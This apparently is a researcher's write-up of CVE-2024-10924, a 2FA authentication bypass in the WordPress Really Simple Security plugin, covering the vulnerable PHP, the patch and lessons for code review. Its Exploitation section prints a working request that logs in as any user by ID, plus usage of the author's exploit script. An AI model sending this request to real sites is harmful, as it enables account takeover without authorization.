CVE-2024-10924: Bypassing 2FA in WordPress's Really Simple Security
Target: Really Simple Security plugin (WordPress), versions 9.0.0 to 9.1.1.1
CVSS Score: 9.8 (Critical)
PoC: github.com/julesbsz/CVE-2024-10924
Overview
There’s something almost poetic about a security plugin being the source of a critical vulnerability. CVE-2024-10924 is exactly that: a bug in Really Simple Security, a plugin installed on over 4 million WordPress sites, that lets an unauthenticated attacker log in as any user, including admins, just by knowing their numeric user ID.
No password. No valid 2FA token. Just a user ID and a POST request.
The vulnerability was disclosed on November 6, 2024, by Wordfence researcher István Márton, and patched in version 9.1.2 within 24 hours.
Background: What is Really Simple Security?
Really Simple Security (formerly Really Simple SSL) is one of the most widely used WordPress security plugins. Among its features: automatic HTTPS enforcement, login protection, vulnerability scanning, and two-factor authentication.
2FA was introduced around version 9.0.0. The idea is straightforward: users log in with their password, then confirm identity via a one-time code. What went wrong is in the implementation, specifically in how authentication errors were (not) handled.
How the Vulnerability Works
The Flawed Endpoint
When 2FA is active on a site, the plugin exposes a REST API endpoint for handling part of the onboarding flow:
POST /wp-json/reallysimplessl/v1/two_fa/skip_onboarding
The handler looks like this:
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
And the verification function:
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
$user = get_user_by('id', $user_id);
return $user;
}
Do you see it?
check_login_and_get_user returns a 403 response object when the nonce is invalid, but skip_onboarding never checks what was returned. It just calls authenticate_and_redirect with the original user_id regardless of whether verification passed or failed.
That’s it. The gate exists, but nobody checks if the gate is closed. Sending any random string as the login_nonce is enough to get through.
A Note on WordPress Nonces
WordPress nonces aren’t traditional “numbers used once.” They’re HMAC-based tokens tied to a user session. Unauthenticated users all share the same nonce because they share the same user ID (0). A correct nonce for a specific logged-in user is essentially unguessable without access to that session.
Which is exactly why the verification step matters. And why skipping it, even accidentally, is catastrophic.
Exploitation
The exploit is a single POST request:
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: target.com
Content-Type: application/json
{
"user_id": 1,
"login_nonce": "doesntmatter",
"redirect_to": "/wp-admin/"
}
If 2FA is enabled at the site level, the server responds with HTTP 200 and a valid wordpress_logged_in_* cookie in the Set-Cookie header. That cookie gives full access to the target account.
User ID 1 is almost always the first admin created on a WordPress install. It’s the default guess.
My PoC
I wrote a Python exploit that automates this: github.com/julesbsz/CVE-2024-10924
Basic usage:
# Target admin (user ID defaults to 1)
python exploit.py http://target.com
# Target a specific user
python exploit.py -id 10 http://target.com
If the target is running a vulnerable version with 2FA enabled, the script prints the session cookie. If not, it tells you the exploit failed.
The plugin version 9.1.1.1 (the last vulnerable release) is included in the repo as a zip, so you can spin up a test environment without hunting for it.
Conditions Required
Worth being clear about when this actually works:
- The site must be running Really Simple Security 9.0.0 to 9.1.1.1
- 2FA must be enabled at the site level. The vulnerability lives in the 2FA code path. If 2FA is off, the endpoint behaves differently (or not at all)
- The user ID must be valid, but default WordPress installs always have user ID 1
The 2FA requirement is an interesting constraint. A lot of write-ups stop at “4 million sites vulnerable,” but realistically, only sites that had explicitly opted into 2FA were at risk during the disclosure window. That said: sites that enabled 2FA for added security were precisely the ones exposed. The feature meant to protect them was the attack surface.
Patch
The fix in 9.1.2 is exactly what you’d expect: skip_onboarding now checks the return value of check_login_and_get_user before proceeding. If the nonce check fails, execution stops.
One line of missing validation. Fixed within a day of disclosure.
Takeaways
A few things I keep coming back to with this one:
Error handling is part of the security model. Returning a 403 object is not the same as enforcing a 403 response. If the calling function doesn’t act on the error, the check might as well not exist. This is a class of bug that’s easy to overlook in code review because the validation is there, it’s just not connected to anything.
Security plugins aren’t immune. Obvious in hindsight, but worth stating. The assumption that a security-focused codebase is more carefully reviewed doesn’t always hold. The pressure to ship features applies everywhere.
Mass exploitation is trivial once the user ID is the only input. Numeric user IDs on WordPress start at 1 and increment. Enumerating valid IDs is easy, automating the exploit across thousands of targets is easy. The low entropy of the required input is part of what makes this a 9.8.
This writeup is for educational purposes. Only test against systems you own or have explicit permission to test.